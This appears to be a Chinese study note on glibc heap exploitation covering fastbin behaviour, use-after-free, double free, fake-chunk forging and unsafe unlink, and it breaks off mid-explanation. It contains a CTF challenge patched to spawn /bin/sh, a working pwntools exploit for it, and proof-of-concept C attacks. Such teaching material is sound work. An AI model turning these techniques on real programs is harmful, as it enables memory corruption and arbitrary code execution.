Heap Exploitation(笔记)


first-fit behavior

释放除了fast chunk之外的chunk时,都会在unsorted bin中结束,在列表的HEAD处插入chunk;请求新的除了fast chunk之外的chunk时,首先在unsorted bin中查找,此时small bin为空,查找来自列表末尾TAIL,如果unsorted bin中存在单个chunk,则不会进行精确检查,如果chunk的大小大于或等于请求的块,则将其拆分为两个并返回 对于

char *a = malloc(300);    // 0x***010
char *b = malloc(250);    // 0x***150
free(a);
a = malloc(250);

unsorted bin 的情况:

  1. free(a): `head -> a -> tail
  2. a=malloc(250): head -> a2 -> tail['a1'被返回]

Alt Alt

‘a’ 被分成两块,’a1’和’a2’,因为请求大小小于a的大小

fast chunk中,fast chunk 最终进入 fast bins 而不是到 unsorted bin。此外,fast bin 遵循 LIFO原则 对于

char *a = malloc(20);
char *b = malloc(20);
char *c = malloc(20);
char *d = malloc(20);
free(a);
free(b);
free(c);
free(d);
a = malloc(20);
b = malloc(20);
c = malloc(20);
d = malloc(20);

Alt Alt Alt Alt Alt Alt Alt

fast bin中的情况:

  1. free(a): head -> a -> tail
  2. free(b): head -> b -> a -> tail
  3. free(c): head -> c -> b -> a -> tail
  4. free(d): head -> d-> c ->b -> a -> tail
  5. d=malloc(20): head -> c -> b -> a -> tail
  6. c=malloc(20): head -> b -> a -> tail
  7. b=malloc(20): head -> a -> tail
  8. a=malloc(20): head -> tail

使用较小的大小是为了确保在释放时,chunk进入fast bins 而不是 unsorted bins

Use after Free 漏洞利用(UAF漏洞)

malloc 可能会返回先前使用和释放的chunk,这使得使用释放的内存chunks容易受到攻击。一旦释放了一个chunk,就应该假设攻击者可以控制chunk内的数据,永远不使用释放的chunk,即总是分配一个新的chunk 容易受道攻击的代码:

char *ch = malloc(20);
// Some operations
//  ..
//  ..
free(ch);
// Some operations
//  ..
//  ..
// Attacker can control 'ch'
// This is vulnerable code
// Freed variables should not be used again
if (*ch=='a') {
  // do this
}

例,Summoner

    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <string.h>

    struct creature {
        char *name;
        int level;
    };

    void intro()
    {
        puts("After you climb over the snow mountain, you encounter an evil summoner!\n");
        puts("He summoned \"The Dark Lord\" Level 5! You have to get over his dead body to fight the Demon Dragon, but you can only summon Level 4 creatures!\n");
        puts("What's your plan for now???\n");
    }

    void menu()
    {
        puts("Available plans:");
        puts("\tshow - show your creature and its level");
        puts("\tsummon [name] - summon a creature called [name]");
        puts("\tlevel-up [level] - level up your creature (below Level 5)");
        puts("\tstrike - STRIKE the evil summoner's creature!!!");
        puts("\trelease - release your creature");
        puts("\tquit - give up and die");
    }

    int main(int argc, char **argv)
    {
        char buf[0x200];
        char *arg;
        uint32_t level;
        struct creature *c;

        setbuf(stdout, NULL);
        intro();
        menu();
        c = NULL;
        while(1) {
            printf("\nEnter your command:\n> ");

            if(fgets(buf, 0x200, stdin) == NULL)
                break;

            if (!strncmp(buf, "show", 4)) {
                if(c == NULL)
                    puts("You have no creature now.");
                else
                    printf("Current creature: %s [Level %u]\n", c->name, c->level);
            } else if (!strncmp(buf, "summon", 6)) {
                if (c != NULL) {
                    puts("Already have one creature. Release it first.");
                    continue;
                }
                arg = strtok(&buf[7], "\n");
                if (arg == NULL) {
                    puts("Invalid command");
                    continue;
                }
                c = (struct creature *)malloc(sizeof(struct creature));
                if (c == NULL) {
                    puts("malloc() returned NULL. Out of Memory\n");
                    exit(-1);
                }
                c->name = strdup(arg);
                printf("Current creature:\"%s\"\n", arg);
            } else if(!strncmp(buf, "level-up", 8)) {
                if(c == NULL) {
                    puts("Summon first.");
                    continue;
                }
                arg = strtok(&buf[9], "\n");
                if (arg == NULL) {
                    puts("Invalid command");
                    continue;
                }
                level = strtoul(arg, NULL, 10);
                if (level >= 5) {
                    puts("Can only level-up to Level 4.");
                    continue;
                }
                c->level = level;
                printf("Level-up to \"%u\"\n", level);
            } else if(!strncmp(buf, "strike", 6)) {
                if (c == NULL) {
                    puts("Summon first.");
                    continue;
                }
                if (c->level != 5) {
                    puts("No, you cannot beat him!");
                    continue;
                }
                // system("/bin/cat /pwn/flag");
                // 此处修改过原作者的逻辑,用作本地调试,原作者代码:https://github.com/SignorMercurio/Heap-Tutorials/blob/master/first%20fit%20%26%20uaf/Summoner/summoner.c
                system("/bin/sh");
            } else if(!strncmp(buf, "release", 7)) {
                if (c == NULL){
                    puts("No creature summoned.");
                    continue;
                }
                free(c->name);
                c = NULL;
                puts("Released.");
            } else if(!strncmp(buf, "quit", 4)) {
                return 0;
            } else {
                puts("Invalid option");
                menu();
            }
        }
    }

编译之后通过ida查看

Alt

如果输入“summon”通过malloc申请一块变量,然后返回到name,而strdup将输入的name拷贝到申请的chunk。 输入“level-up”时,会将输入的值写入到结构体的level

Alt Alt

输入“release”时则会释放name

Alt

输入“strike”时会调用system,但是前提时level为5

Alt

而正常输入的情况下是不能够使level为5的,但是可以在申请name时通过输入溢出到level处的位置,写入5,然后free掉这块内存,再malloc一块内存,如此一来就可以拿到shell

Alt

payload:

from pwn import *
context.log_level='DEBUG'

p = process('./summoner')
p.sendline('summon aaaaaaaa'+'\x05')
sleep(1)
p.sendline('release')
sleep(1)
p.sendline('summon a')
#gdb.attach(p)
#pause()
sleep(1)
p.sendline('strike')
sleep(1)
p.interactive()

Alt Alt

Double Free

多次释放资源可能会导致内存泄漏,分配器(allocator)的数据结构被破坏,可被攻击者利用。为了避免glibc进行“double free or corruption(fasttop)”安全检查,将在两个释放之间释放另一个chunk。这意味着两个不同的’mallocs’将返回相同的块。两个指针都指向相同的内存地址。如果其中一个受攻击者的控制,他可以修改其他指针的内存,导致各种攻击(包括代码执行)

a = malloc(10);
b = malloc(10);
c = malloc(10);

free(a);
free(b);  // To bypass "double free or corruption (fasttop)" check
free(a);  // Double Free

d = malloc(10);
e = malloc(10);
f = malloc(10);

fast bin 的情况:

  1. free(a): head -> a ->tail
  2. free(b): head -> b -> a -> tail
  3. free(a): head -> a -> b -> a -> tail
  4. malloc(d): head -> b -> a -> tail; d -> a
  5. malloc(e): head -> a -> tail; e -> b
  6. malloc(f): head -> tail; f -> a

Alt

Forging chunks(伪造chunks)

释放一个chunk后,会将其插入到 bin list中。但是其指针仍然在程序中处于可用状态,如果攻击者控制了这个指针,就可以修改bin中的链表结构并插入他自己伪造的chunk。

struct forged_chunk {
  size_t prev_size;
  size_t size;
  struct forged_chunk *fd;
  struct forged_chunk *bck;
  char buf[10];               // padding
};

// First grab a fast chunk
a = malloc(10);
// Create a forged chunk
struct forged_chunk chunk;    // At address 0x7ffc6de96690
chunk.size = 0x20;            // This size should fall in the same fastbin
data = (char *)&chunk.fd;     // Data starts here for an allocated chunk
strcpy(data, "attacker's data");
// Put the fast chunk back into fastbin
free(a);
// Modify 'fd' pointer of 'a' to point to our forged chunk
*((unsigned long long *)a) = (unsigned long long)&chunk;
// Remove 'a' from HEAD of fastbin
// Our forged chunk will now be at the HEAD of fastbin
malloc(10);                   // Will return 0x219c010

victim = malloc(10);          // Points to 0x7ffc6de966a0
printf("%s\n", victim);       // Prints "attacker's data" !!

伪造的chunk的大小参数设置为0x20,以便它通过安全检查“malloc(): memory corruption (fast)”。此安全检查将检查chunk的大小是否落在特定fast bin的范围内。

已分配块的数据从fd指针开始

fast bins中的情况:

  1. free(a): head -> a -> tail
  2. *((unsigned long long *)a) = (unsigned long long)&chunk; : head -> a -> 伪造块 -> undefined(伪造的块的fd实际上会有攻击者的数据)
  3. malloc(10): head -> 伪造的块 -> undefined
  4. victim=malloc(10): head -> undefined

注意:

  • 在同一个bin列表中对fast chunk的另一个’malloc’请求将导致分段错误。
  • 即使我们请求10个字节并将伪造块的大小设置为32(0x20)字节,两者都落在相同的fastbin的32字节chunk的范围内。
  • 以上代码专为64位计算机而设计。为了在32位机器上运行它,替换unsigned long long用unsigned int作为指针现在4个字节,而不是8个字节。此外,不是使用32字节作为伪造chunk的大小,而是大约17字节的一小部分

在unlink MACRO 中添加了两个安全检查(”corrupted size vs. prev_size” and “corrupted double-linked list”),这在一定程度上减少了攻击的影响。 这种攻击利用unlinkMACRO中完成的指针操作,同时从bin中移除一个chunk。

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[10];               // padding
};

int main() {
  unsigned long long *chunk1, *chunk2;
  struct chunk_structure *fake_chunk, *chunk2_hdr;
  char data[20];

  // First grab two chunks (non fast)
  chunk1 = malloc(0x80);
  chunk2 = malloc(0x80);
  printf("%p\n", &chunk1);
  printf("%p\n", chunk1);
  printf("%p\n", chunk2);
  // Assuming attacker has control over chunk1's contents
  // Overflow the heap, override chunk2's header
  // First forge a fake chunk starting at chunk1
  // Need to setup fd and bk pointers to pass the unlink security check
  fake_chunk = (struct chunk_structure *)chunk1;
  fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
  fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

  // Next modify the header of chunk2 to pass all security checks
  chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
  chunk2_hdr->prev_size = 0x80;  // chunk1's data region size
  chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

  // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
  // This results in chunk1 pointer pointing to chunk1 - 3
  // i.e. chunk1[3] now contains chunk1 itself.
  // We then make chunk1 point to some victim's data
  free(chunk2);
  printf("%p\n", chunk1);
  printf("%x\n", chunk1[3]);

  chunk1[3] = (unsigned long long)data;

  strcpy(data, "Victim's data");

  // Overwrite victim's data using chunk1
  chunk1[0] = 0x002164656b636168LL;

  printf("%s\n", data);

  return 0;
}

通过malloc得到两个大小为0x80的块确保他们在 small bin 范围内,然后假设攻击者以某种方式对chunk1内容进行无限制控制(比如strcpy用户输入)。两个块都将并排放在内存中,代码中 chunk_structure 使用自定义结构仅处于清晰的目的,在攻击情形中,攻击者只需要发送填写的字节。 在“data”部分创建了一个新的假chunk即 chunk1。在fd和bk指针被调整为通过“corrupted double-linked list”安全检查。攻击者的内容被溢出到chunk2的报头中设置适当prev_size和prev_in_use位。这确保了无论何时chunk2释放,fake_chunk将被检测为“释放”并且将是unlinked,此时各种内存区域状态如下:

Alt

一旦chunk2被释放,它就被当作一个small bin处理。然后会检查前一个和下一个chunk(通过内存)是否“空闲”。(前一个freak chunk为空闲) 如果任何chunk被检测为“空闲”,则unlinked用于合并连续的空闲块。该unlink宏执行的是修改指针以下两条指令: